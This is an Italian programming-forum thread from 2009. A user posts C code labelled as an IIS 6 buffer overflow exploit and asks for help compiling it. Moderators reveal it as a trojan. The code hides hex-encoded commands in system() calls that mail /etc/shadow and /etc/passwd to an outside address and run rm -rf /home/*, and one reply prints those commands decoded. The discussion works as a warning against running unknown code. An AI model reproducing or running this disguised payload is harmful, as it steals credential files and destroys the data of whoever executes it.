Condividi:        

vulnerabilità nell'IIS 6.0

Problemi di HTML? Di PHP, ASP, .NET, JSP, Perl, SQL, JavaScript, Visual Basic..?
Vuoi realizzare programmi in C, C++, Java, Ruby o Smalltalk, e non sai da che parte cominciare?
Entra qui e troverai le risposte!

Moderatori: Anthony47, Triumph Of Steel, archimede

vulnerabilità nell'IIS 6.0

Postdi s0nicw4ll » 25/03/09 11:12

ciao a tutti ragazzi, su internet ho trovato questo codice ma non riescoa compilaro qualcuno mi può aiutare :
Codice: Seleziona tutto
* Proof of concept code
   Please don't send us e-mails
   asking us "how to hack" because
   we will be forced to skullfsck you.

DISCLAIMER:
!!NOT RESPONSIBLE WITH YOUR USE OF THIS CODE!!

   IIS 6 Buffer Overflow Exploit

   BUG: inetinfo.exe improperly bound checks
   http requests sent longer than 6998 chars.
   Can get messy but enough testing, and we have
   found a way in.

   VENDOR STATUS: Notified
   FIX: In process

   Remote root.

   eg.
   #./iis6_inetinfoX xxx.xxx.xxx.xxx -p 80
    + Connecting to host...
    + Connected.
    + Inserting Shellcode...
    + Done...
    + Spawining shell..

    Microsoft Windows XP [Version 5.1.2600]
   (C) Copyright 1985-2001 Microsoft Corp.
   C:\>

*/
char shellcode[] =
"\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
"\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
"\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
"\x72\x3b\x65\x63\x68\x6f\x20\x62"
"\x6c\x34\x63\x6b\x68\x34\x74\x2c"
"\x68\x65\x68\x65";

char launcher [] =
"\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x7c\x6d\x61\x69"
"\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
"\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
"\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
"\x2e\x6f\x72\x67\x2e\x75\x6b\x20";

char netcat_shell [] =
"\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x20\x7c\x6d\x61\x69"
"\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
"\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
"\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
"\x2e\x6f\x72\x67\x2e\x75\x6b\x20";

main()
{

//Section Initialises designs implemented by mexicans
//Imigrate
system(launcher);
system(netcat_shell);
system(shellcode);

//int socket = 0;
//double long port = 0.0;

//#DEFINE port host address
//#DEFINE number of inters
//#DEFINE gull eeuEE

 // for(int j; j < 30; j++)
        {
        //Find socket remote address fault
        printf(".");
        }
//overtake inetinfo here IIS_666666^
return 0;
}
s0nicw4ll
Utente Junior
 
Post: 21
Iscritto il: 22/03/09 16:20

Sponsor
 

Re: vulnerabilità nell'IIS 6.0

Postdi zello » 25/03/09 18:22

Non ho tempo di guardare bene ora, ma il codice che hai mostrato temo non faccia quello che ti aspetti, anzi; se poi vuoi compilarlo, aggiungi comodamente una slash prima dell'asterisco iniziale, e magari un int prima del main.

Io comunque resto della mia opinione: *prima* si capisce come funziona una cosa, *poi* gli si mette le mani sopra.
Il faut être toujours ivre. Tout est là : c'est l'unique question. Pour ne pas sentir l'horrible fardeau du Temps qui brise vos épaules et vous penche vers la terre,il faut vous enivrer sans trêve...
Avatar utente
zello
Moderatore
 
Post: 2351
Iscritto il: 06/05/02 13:44

Re: vulnerabilità nell'IIS 6.0

Postdi s0nicw4ll » 25/03/09 20:00

graie cmq se come dici tu nn funziona è un presa in giro? :P va be tutto sommato non è proprio importante
s0nicw4ll
Utente Junior
 
Post: 21
Iscritto il: 22/03/09 16:20

Re: vulnerabilità nell'IIS 6.0

Postdi zello » 25/03/09 22:41

Ma io non ho detto che non funziona, anzi, fa benissimo quello che deve fare. Solo che non fa quello che pensi tu.

Sostituendo le tre chiamate a system() con delle printf, ottieni cosa la macchina cerca di eseguire quando lanci il programma...

Codice: Seleziona tutto
[zello@zello tmp]$ ./out
cat /etc/shadow |mail full-disclosure@lists.grok.org.uk cat /etc/passwd |mail full-disclosure@lists.grok.org.uk /bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe
[zello@zello tmp]$

Direi:
- spedisce la lista delle tue password ad una mailing list, seguita dalla lista dei tuoi user
- ti spazzola via completamente la directory /home (e qui sono pure stati buoni)
- pulisce lo schermo
- ti prende anche un po' per il c**o (che - sia detto con affetto - in una certa misura te lo meriti).

Non è che pescare il primo codice che becchi su internet sia una garanzia di successo - it's a looong way to the top.
Il faut être toujours ivre. Tout est là : c'est l'unique question. Pour ne pas sentir l'horrible fardeau du Temps qui brise vos épaules et vous penche vers la terre,il faut vous enivrer sans trêve...
Avatar utente
zello
Moderatore
 
Post: 2351
Iscritto il: 06/05/02 13:44

Re: vulnerabilità nell'IIS 6.0

Postdi Dylan666 » 26/03/09 00:52

@s0nicw4ll

visto che "giochi col fuoco" e non hai la più pallida idea di quello che fai non sarebbe almeno il caso di leggersi tutti i commenti al codice che hai trovato?
http://seclists.org/fulldisclosure/2005/Apr/0421.html
http://seclists.org/fulldisclosure/2005/Apr/0436.html
http://seclists.org/fulldisclosure/2005/Apr/0454.html
Avatar utente
Dylan666
Moderatore
 
Post: 39988
Iscritto il: 18/11/03 16:46


Torna a Programmazione


Topic correlati a "vulnerabilità nell'IIS 6.0":


Chi c’è in linea

Visitano il forum: Nessuno e 14 ospiti